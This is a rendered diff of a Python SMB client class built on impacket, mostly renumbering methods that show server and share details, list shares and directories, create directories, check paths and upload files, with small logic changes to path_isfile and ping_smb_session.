    -281            server (bool): If True, display information about the server.
    -282
    -283        Returns:
    -284            None
    -285        """
    -286
    -287        if server:
    -288            if self.config.no_colors:
    -289                print("[+] Server:")
    -290                print("  ├─NetBIOS:")
    -291                print("  │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName()))
    -292                print("  │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain()))
    -293                print("  ├─DNS:")
    -294                print("  │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName()))
    -295                print("  │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName()))
    -296                print("  ├─OS:")
    -297                print("  │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS()))
    -298                print("  │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    -299                print("  ├─Server:")
    -300                print("  │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired()))
    -301                print("  │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired()))
    -302                print("  │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2()))
    -303                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    -304                print("  │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize)))
    -305                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    -306                print("  │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    -307                print("  └─")
    -308            else:
    -309                print("[+] Server:")
    -310                print("  ├─NetBIOS:")
    -311                print("  │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName()))
    -312                print("  │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain()))
    -313                print("  ├─DNS:")
    -314                print("  │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName()))
    -315                print("  │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName()))
    -316                print("  ├─OS:")
    -317                print("  │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS()))
    -318                print("  │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    -319                print("  ├─Server:")
    -320                print("  │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired()))
    -321                print("  │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired()))
    -322                print("  │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2()))
    -323                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    -324                print("  │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize)))
    -325                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    -326                print("  │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    -327                print("  └─")
    -328
    -329        if share and self.smb_share is not None:
    -330            share_name = self.available_shares.get(self.smb_share.lower(), "")["name"]
    -331            share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"]
    -332            share_type = self.available_shares.get(self.smb_share.lower(), "")["type"]
    -333            share_type =', '.join([s.replace("STYPE_","") for s in share_type])
    -334            share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"]
    -335            if self.config.no_colors:
    -336                print("\n[+] Share:")
    -337                print("  ├─ Name ──────────── : %s" % (share_name))
    -338                print("  ├─ Description ───── : %s" % (share_comment))
    -339                print("  ├─ Type ──────────── : %s" % (share_type))
    -340                print("  └─ Raw type value ── : %s" % (share_rawtype))
    -341            else:
    -342                print("\n[+] Share:")
    -343                print("  ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name))
    -344                print("  ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment))
    -345                print("  ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type))
    -346                print("  └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype))
    +            
    356    def info(self, share=True, server=True):
    +357        """
    +358        Displays information about the server and optionally the shares.
    +359
    +360        This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share.
    +361
    +362        Parameters:
    +363            share (bool): If True, display information about the current share.
    +364            server (bool): If True, display information about the server.
    +365
    +366        Returns:
    +367            None
    +368        """
    +369
    +370        if server:
    +371            if self.config.no_colors:
    +372                print("[+] Server:")
    +373                print("  ├─NetBIOS:")
    +374                print("  │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName()))
    +375                print("  │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain()))
    +376                print("  ├─DNS:")
    +377                print("  │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName()))
    +378                print("  │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName()))
    +379                print("  ├─OS:")
    +380                print("  │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS()))
    +381                print("  │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    +382                print("  ├─Server:")
    +383                print("  │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired()))
    +384                print("  │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired()))
    +385                print("  │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2()))
    +386                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    +387                print("  │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize)))
    +388                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    +389                print("  │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    +390                print("  └─")
    +391            else:
    +392                print("[+] Server:")
    +393                print("  ├─NetBIOS:")
    +394                print("  │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName()))
    +395                print("  │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain()))
    +396                print("  ├─DNS:")
    +397                print("  │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName()))
    +398                print("  │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName()))
    +399                print("  ├─OS:")
    +400                print("  │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS()))
    +401                print("  │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    +402                print("  ├─Server:")
    +403                print("  │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired()))
    +404                print("  │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired()))
    +405                print("  │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2()))
    +406                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    +407                print("  │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize)))
    +408                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    +409                print("  │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    +410                print("  └─")
    +411
    +412        if share and self.smb_share is not None:
    +413            share_name = self.available_shares.get(self.smb_share.lower(), "")["name"]
    +414            share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"]
    +415            share_type = self.available_shares.get(self.smb_share.lower(), "")["type"]
    +416            share_type =', '.join([s.replace("STYPE_","") for s in share_type])
    +417            share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"]
    +418            if self.config.no_colors:
    +419                print("\n[+] Share:")
    +420                print("  ├─ Name ──────────── : %s" % (share_name))
    +421                print("  ├─ Description ───── : %s" % (share_comment))
    +422                print("  ├─ Type ──────────── : %s" % (share_type))
    +423                print("  └─ Raw type value ── : %s" % (share_rawtype))
    +424            else:
    +425                print("\n[+] Share:")
    +426                print("  ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name))
    +427                print("  ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment))
    +428                print("  ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type))
    +429                print("  └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype))
     
    @@ -2612,35 +2909,35 @@

    -
    348    def list_contents(self, path=None):
    -349        """
    -350        Lists the contents of a specified directory on the SMB share.
    -351
    -352        This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path`
    -353        is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with
    -354        the long names of the files and directories as keys and their respective SMB entry objects as values.
    -355
    -356        Args:
    -357            shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.
    -358            path (str, optional): The directory path to list contents from. Defaults to the current path if None.
    -359
    -360        Returns:
    -361            dict: A dictionary with file and directory names as keys and their SMB entry objects as values.
    -362        """
    -363        
    -364        if path is None or len(path) == 0:
    -365            path = self.smb_cwd
    -366        path = path.rstrip(ntpath.sep) + ntpath.sep + "*"
    -367
    -368        contents = {}
    -369        entries = self.smbClient.listPath(
    -370            shareName=self.smb_share, 
    -371            path=path
    -372        )
    -373        for entry in entries:
    -374            contents[entry.get_longname()] = entry
    -375
    -376        return contents
    +            
    431    def list_contents(self, path=None):
    +432        """
    +433        Lists the contents of a specified directory on the SMB share.
    +434
    +435        This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path`
    +436        is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with
    +437        the long names of the files and directories as keys and their respective SMB entry objects as values.
    +438
    +439        Args:
    +440            shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.
    +441            path (str, optional): The directory path to list contents from. Defaults to the current path if None.
    +442
    +443        Returns:
    +444            dict: A dictionary with file and directory names as keys and their SMB entry objects as values.
    +445        """
    +446        
    +447        if path is None or len(path) == 0:
    +448            path = self.smb_cwd
    +449        path = path.rstrip(ntpath.sep) + ntpath.sep + "*"
    +450
    +451        contents = {}
    +452        entries = self.smbClient.listPath(
    +453            shareName=self.smb_share, 
    +454            path=path
    +455        )
    +456        for entry in entries:
    +457            contents[entry.get_longname()] = entry
    +458
    +459        return contents
     
    @@ -2671,41 +2968,41 @@

    -
    378    def list_shares(self):
    -379        """
    -380        Lists all the shares available on the connected SMB server.
    -381
    -382        This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary
    -383        with key-value pairs where the key is the share name and the value is a dictionary containing details about the share
    -384        such as its name, type, raw type, and any comments associated with the share.
    -385
    -386        Returns:
    -387            dict: A dictionary containing information about each share available on the server.
    -388        """
    -389
    -390        self.available_shares = {}
    -391
    -392        if self.connected:
    -393            if self.smbClient is not None:
    -394                resp = self.smbClient.listShares()
    -395
    -396                for share in resp:
    -397                    # SHARE_INFO_1 structure (lmshare.h)
    -398                    # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1
    -399                    sharename = share["shi1_netname"][:-1]
    -400                    sharecomment = share["shi1_remark"][:-1]
    -401                    sharetype = share["shi1_type"]
    -402
    -403                    self.available_shares[sharename.lower()] = {
    -404                        "name": sharename, 
    -405                        "type": STYPE_MASK(sharetype), 
    -406                        "rawtype": sharetype, 
    -407                        "comment": sharecomment
    -408                    }
    -409            else:
    -410                print("[!] Error: SMBSession.smbClient is None.")
    -411
    -412        return self.available_shares
    +            
    461    def list_shares(self):
    +462        """
    +463        Lists all the shares available on the connected SMB server.
    +464
    +465        This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary
    +466        with key-value pairs where the key is the share name and the value is a dictionary containing details about the share
    +467        such as its name, type, raw type, and any comments associated with the share.
    +468
    +469        Returns:
    +470            dict: A dictionary containing information about each share available on the server.
    +471        """
    +472
    +473        self.available_shares = {}
    +474
    +475        if self.connected:
    +476            if self.smbClient is not None:
    +477                resp = self.smbClient.listShares()
    +478
    +479                for share in resp:
    +480                    # SHARE_INFO_1 structure (lmshare.h)
    +481                    # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1
    +482                    sharename = share["shi1_netname"][:-1]
    +483                    sharecomment = share["shi1_remark"][:-1]
    +484                    sharetype = share["shi1_type"]
    +485
    +486                    self.available_shares[sharename.lower()] = {
    +487                        "name": sharename, 
    +488                        "type": STYPE_MASK(sharetype), 
    +489                        "rawtype": sharetype, 
    +490                        "comment": sharecomment
    +491                    }
    +492            else:
    +493                print("[!] Error: SMBSession.smbClient is None.")
    +494
    +495        return self.available_shares
     
    @@ -2732,49 +3029,49 @@

    -
    414    def mkdir(self, path=None):
    -415        """
    -416        Creates a directory at the specified path on the SMB share.
    -417
    -418        This method takes a path and attempts to create the directory structure on the SMB share. If the path includes
    -419        nested directories, it will create each directory in the sequence. If a directory already exists, it will skip
    -420        the creation for that directory without raising an error.
    -421
    -422        Args:
    -423            path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.
    -424
    -425        Note:
    -426            The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.
    -427        """
    -428
    -429        if path is not None:
    -430            # Prepare path
    -431            path = path.replace('/',ntpath.sep)
    -432            if ntpath.sep in path:
    -433                path = path.strip(ntpath.sep).split(ntpath.sep)
    -434            else:
    -435                path = [path]
    -436
    -437            # Create each dir in the path
    -438            for depth in range(1, len(path)+1):
    -439                tmp_path = ntpath.sep.join(path[:depth])
    -440                try:
    -441                    self.smbClient.createDirectory(
    -442                        shareName=self.smb_share, 
    -443                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep)
    -444                    )
    -445                except impacket.smbconnection.SessionError as err:
    -446                    if err.getErrorCode() == 0xc0000035:
    -447                        # STATUS_OBJECT_NAME_COLLISION
    -448                        # Remote directory already created, this is normal
    -449                        # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19
    -450                        pass
    -451                    else:
    -452                        print("[!] Failed to create directory '%s': %s" % (tmp_path, err))
    -453                        if self.config.debug:
    -454                            traceback.print_exc()
    -455        else:
    -456            pass
    +            
    497    def mkdir(self, path=None):
    +498        """
    +499        Creates a directory at the specified path on the SMB share.
    +500
    +501        This method takes a path and attempts to create the directory structure on the SMB share. If the path includes
    +502        nested directories, it will create each directory in the sequence. If a directory already exists, it will skip
    +503        the creation for that directory without raising an error.
    +504
    +505        Args:
    +506            path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.
    +507
    +508        Note:
    +509            The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.
    +510        """
    +511
    +512        if path is not None:
    +513            # Prepare path
    +514            path = path.replace('/',ntpath.sep)
    +515            if ntpath.sep in path:
    +516                path = path.strip(ntpath.sep).split(ntpath.sep)
    +517            else:
    +518                path = [path]
    +519
    +520            # Create each dir in the path
    +521            for depth in range(1, len(path)+1):
    +522                tmp_path = ntpath.sep.join(path[:depth])
    +523                try:
    +524                    self.smbClient.createDirectory(
    +525                        shareName=self.smb_share, 
    +526                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep)
    +527                    )
    +528                except impacket.smbconnection.SessionError as err:
    +529                    if err.getErrorCode() == 0xc0000035:
    +530                        # STATUS_OBJECT_NAME_COLLISION
    +531                        # Remote directory already created, this is normal
    +532                        # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19
    +533                        pass
    +534                    else:
    +535                        print("[!] Failed to create directory '%s': %s" % (tmp_path, err))
    +536                        if self.config.debug:
    +537                            traceback.print_exc()
    +538        else:
    +539            pass
     
    @@ -2804,32 +3101,32 @@

    -
    458    def path_exists(self, path=None):
    -459        """
    -460        Checks if the specified path exists on the SMB share.
    -461
    -462        This method determines if a given path exists on the SMB share by attempting to list the contents of the path.
    -463        If the path listing is successful and returns one or more entries, the path is considered to exist.
    -464
    -465        Args:
    -466            path (str, optional): The path to check on the SMB share. Defaults to None.
    -467
    -468        Returns:
    -469            bool: True if the path exists, False otherwise or if an error occurs.
    -470        """
    -471
    -472        if path is not None:
    -473            path = path.replace('*','')
    -474            try:
    -475                contents = self.smbClient.listPath(
    -476                    shareName=self.smb_share,
    -477                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    -478                )
    -479                return (len(contents) != 0)
    -480            except Exception as e:
    -481                return False
    -482        else:
    -483            return False
    +            
    541    def path_exists(self, path=None):
    +542        """
    +543        Checks if the specified path exists on the SMB share.
    +544
    +545        This method determines if a given path exists on the SMB share by attempting to list the contents of the path.
    +546        If the path listing is successful and returns one or more entries, the path is considered to exist.
    +547
    +548        Args:
    +549            path (str, optional): The path to check on the SMB share. Defaults to None.
    +550
    +551        Returns:
    +552            bool: True if the path exists, False otherwise or if an error occurs.
    +553        """
    +554
    +555        if path is not None:
    +556            path = path.replace('*','')
    +557            try:
    +558                contents = self.smbClient.listPath(
    +559                    shareName=self.smb_share,
    +560                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    +561                )
    +562                return (len(contents) != 0)
    +563            except Exception as e:
    +564                return False
    +565        else:
    +566            return False
     
    @@ -2858,49 +3155,49 @@

    -
    485    def path_isdir(self, pathFromRoot=None):
    -486        """
    -487        Checks if the specified path is a directory on the SMB share.
    -488
    -489        This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the
    -490        contents of the path and filtering for entries that match the basename of the path and are marked as directories.
    -491
    -492        Args:
    -493            path (str, optional): The path to check on the SMB share. Defaults to None.
    -494
    -495        Returns:
    -496            bool: True if the path is a directory, False otherwise or if an error occurs.
    -497        """
    -498
    -499        if pathFromRoot is not None:
    -500            # Replace slashes if any
    -501            path = pathFromRoot.replace('/', ntpath.sep)
    -502            
    -503            # Strip wildcards to avoid injections
    -504            path = path.replace('*','')
    -505
    -506            # Normalize path and strip leading backslash
    -507            path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep)
    -508
    -509            if path.strip() in ['', '.', '..']:
    -510                # By defininition they exist on the filesystem
    -511                return True
    -512            else:
    -513                try:
    -514                    contents = self.smbClient.listPath(
    -515                        shareName=self.smb_share,
    -516                        path=path+'*'
    -517                    )
    -518                    # Filter on directories
    -519                    contents = [
    -520                        c for c in contents
    -521                        if c.get_longname() == ntpath.basename(path) and c.is_directory()
    -522                    ]
    -523                    return (len(contents) != 0)
    -524                except Exception as e:
    -525                    return False
    -526        else:
    -527            return False
    +            
    568    def path_isdir(self, pathFromRoot=None):
    +569        """
    +570        Checks if the specified path is a directory on the SMB share.
    +571
    +572        This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the
    +573        contents of the path and filtering for entries that match the basename of the path and are marked as directories.
    +574
    +575        Args:
    +576            path (str, optional): The path to check on the SMB share. Defaults to None.
    +577
    +578        Returns:
    +579            bool: True if the path is a directory, False otherwise or if an error occurs.
    +580        """
    +581
    +582        if pathFromRoot is not None:
    +583            # Replace slashes if any
    +584            path = pathFromRoot.replace('/', ntpath.sep)
    +585            
    +586            # Strip wildcards to avoid injections
    +587            path = path.replace('*','')
    +588
    +589            # Normalize path and strip leading backslash
    +590            path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep)
    +591
    +592            if path.strip() in ['', '.', '..']:
    +593                # By defininition they exist on the filesystem
    +594                return True
    +595            else:
    +596                try:
    +597                    contents = self.smbClient.listPath(
    +598                        shareName=self.smb_share,
    +599                        path=path+'*'
    +600                    )
    +601                    # Filter on directories
    +602                    contents = [
    +603                        c for c in contents
    +604                        if c.get_longname() == ntpath.basename(path) and c.is_directory()
    +605                    ]
    +606                    return (len(contents) != 0)
    +607                except Exception as e:
    +608                    return False
    +609        else:
    +610            return False
     
    @@ -2929,37 +3226,39 @@

    -
    529    def path_isfile(self, path=None):
    -530        """
    -531        Checks if the specified path is a file on the SMB share.
    -532
    -533        This method determines if a given path corresponds to a file on the SMB share. It does this by listing the
    -534        contents of the path and filtering for entries that match the basename of the path and are not marked as directories.
    -535
    -536        Args:
    -537            path (str, optional): The path to check on the SMB share. Defaults to None.
    -538
    -539        Returns:
    -540            bool: True if the path is a file, False otherwise or if an error occurs.
    -541        """
    -542
    -543        if path is not None:
    -544            path = path.replace('*','')
    -545            try:
    -546                contents = self.smbClient.listPath(
    -547                    shareName=self.smb_share,
    -548                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    -549                )
    -550                # Filter on files
    -551                contents = [
    -552                    c for c in contents
    -553                    if c.get_longname() == ntpath.basename(path) and not c.is_directory()
    -554                ]
    -555                return (len(contents) != 0)
    -556            except Exception as e:
    -557                return False
    -558        else:
    -559            return False
    +            
    612    def path_isfile(self, path=None):
    +613        """
    +614        Checks if the specified path is a file on the SMB share.
    +615
    +616        This method determines if a given path corresponds to a file on the SMB share. It does this by listing the
    +617        contents of the path and filtering for entries that match the basename of the path and are not marked as directories.
    +618
    +619        Args:
    +620            path (str, optional): The path to check on the SMB share. Defaults to None.
    +621
    +622        Returns:
    +623            bool: True if the path is a file, False otherwise or if an error occurs.
    +624        """
    +625
    +626        if path is not None:
    +627            path = path.replace('*','')
    +628            search_dir = ntpath.normpath(self.smb_cwd + ntpath.sep + path)
    +629            search_dir = ntpath.dirname(search_dir) + ntpath.sep + '*'
    +630            try:
    +631                contents = self.smbClient.listPath(
    +632                    shareName=self.smb_share,
    +633                    path=search_dir
    +634                )
    +635                # Filter on files
    +636                contents = [
    +637                    c for c in contents
    +638                    if c.get_longname() == ntpath.basename(path) and not c.is_directory()
    +639                ]
    +640                return (len(contents) != 0)
    +641            except Exception as e:
    +642                return False
    +643        else:
    +644            return False
     
    @@ -2988,23 +3287,22 @@

    -
    561    def ping_smb_session(self):
    -562        """
    -563        Tests the connectivity to the SMB server by sending an echo command.
    -564
    -565        This method attempts to send an echo command to the SMB server to check if the session is still active.
    -566        It updates the `connected` attribute of the class based on the success or failure of the echo command.
    -567
    -568        Returns:
    -569            bool: True if the echo command succeeds (indicating the session is active), False otherwise.
    -570        """
    -571
    -572        try:
    -573            self.smbClient.getSMBServer().echo()
    -574            self.connected = True
    -575        except Exception as e:
    -576            self.connected = False
    -577        return self.connected
    +            
    646    def ping_smb_session(self):
    +647        """
    +648        Tests the connectivity to the SMB server by sending an echo command.
    +649
    +650        This method attempts to send an echo command to the SMB server to check if the session is still active.
    +651        It updates the `connected` attribute of the class based on the success or failure of the echo command.
    +652
    +653        Returns:
    +654            bool: True if the echo command succeeds (indicating the session is active), False otherwise.
    +655        """
    +656
    +657        try:
    +658            self.smbClient.getSMBServer().echo()
    +659        except Exception as e:
    +660            self.connected = False
    +661        return self.connected
     
    @@ -3030,45 +3328,45 @@

    -
    579    def put_file(self, localpath=None):
    -580        """
    -581        Uploads a single file to the SMB share.
    -582
    -583        This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.
    -584        It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.
    -585        General exceptions are caught and logged, with a traceback provided if debugging is enabled.
    -586
    -587        Args:
    -588            localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.
    -589        """
    -590
    -591        if os.path.exists(localpath):
    -592            if os.path.isfile(localpath):
    -593                try:
    -594                    localfile = os.path.basename(localpath)
    -595                    f = LocalFileIO(
    -596                        mode="rb", 
    -597                        path=localpath, 
    -598                        debug=self.config.debug
    -599                    )
    -600                    self.smbClient.putFile(
    -601                        shareName=self.smb_share, 
    -602                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), 
    -603                        callback=f.read
    -604                    )
    -605                    f.close()
    -606                except (BrokenPipeError, KeyboardInterrupt) as err:
    -607                    print("[!] Interrupted.")
    -608                    self.close_smb_session()
    -609                    self.init_smb_session()
    -610                except Exception as err:
    -611                    print("[!] Failed to upload '%s': %s" % (localfile, err))
    -612                    if self.config.debug:
    -613                        traceback.print_exc()
    -614            else:
    -615                print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.")
    -616        else:
    -617            print("[!] The specified localpath does not exist.")
    +            
    663    def put_file(self, localpath=None):
    +664        """
    +665        Uploads a single file to the SMB share.
    +666
    +667        This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.
    +668        It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.
    +669        General exceptions are caught and logged, with a traceback provided if debugging is enabled.
    +670
    +671        Args:
    +672            localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.
    +673        """
    +674
    +675        if os.path.exists(localpath):
    +676            if os.path.isfile(localpath):
    +677                try:
    +678                    localfile = os.path.basename(localpath)
    +679                    f = LocalFileIO(
    +680                        mode="rb", 
    +681                        path=localpath, 
    +682                        debug=self.config.debug
    +683                    )
    +684                    self.smbClient.putFile(
    +685                        shareName=self.smb_share, 
    +686                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), 
    +687                        callback=f.read
    +688                    )
    +689                    f.close()
    +690                except (BrokenPipeError, KeyboardInterrupt) as err:
    +691                    print("[!] Interrupted.")
    +692                    self.close_smb_session()
    +693                    self.init_smb_session()
    +694                except Exception as err:
    +695                    print("[!] Failed to upload '%s': %s" % (localfile, err))
    +696                    if self.config.debug:
    +697                        traceback.print_exc()
    +698            else:
    +699                print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.")
    +700        else:
    +701            print("[!] The specified localpath does not exist.")
     
    @@ -3095,62 +3393,62 @@

    -
    619    def put_file_recursively(self, localpath=None):
    -620        """
    -621        Recursively uploads files from a specified local directory to the SMB share.
    -622
    -623        This method walks through the given local directory and all its subdirectories, uploading each file to the
    -624        corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,
    -625        it iterates over all files and directories within the local path, creating necessary directories on the SMB share
    -626        and uploading files. If the local path is not a directory, it prints an error message.
    -627
    -628        Args:
    -629            localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.
    -630        """
    -631
    -632        if os.path.exists(localpath):
    -633            if os.path.isfile(localpath):
    -634                # Iterate over all files and directories within the local path
    -635                local_files = {}
    -636                for root, dirs, files in os.walk(localpath):
    -637                    if len(files) != 0:
    -638                        local_files[root] = files
    -639
    -640                # Iterate over the found files
    -641                for local_dir_path in sorted(local_files.keys()):
    -642                    print("[>] Putting files of '%s'" % local_dir_path)
    -643
    -644                    # Create remote directory
    -645                    remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep)
    -646                    self.mkdir(
    -647                        path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep)
    -648                    )
    -649
    -650                    for local_file_path in local_files[local_dir_path]:
    -651                        try:
    -652                            f = LocalFileIO(
    -653                                mode="rb", 
    -654                                path=local_dir_path + os.path.sep + local_file_path, 
    -655                                debug=self.config.debug
    -656                            )
    -657                            self.smbClient.putFile(
    -658                                shareName=self.smb_share, 
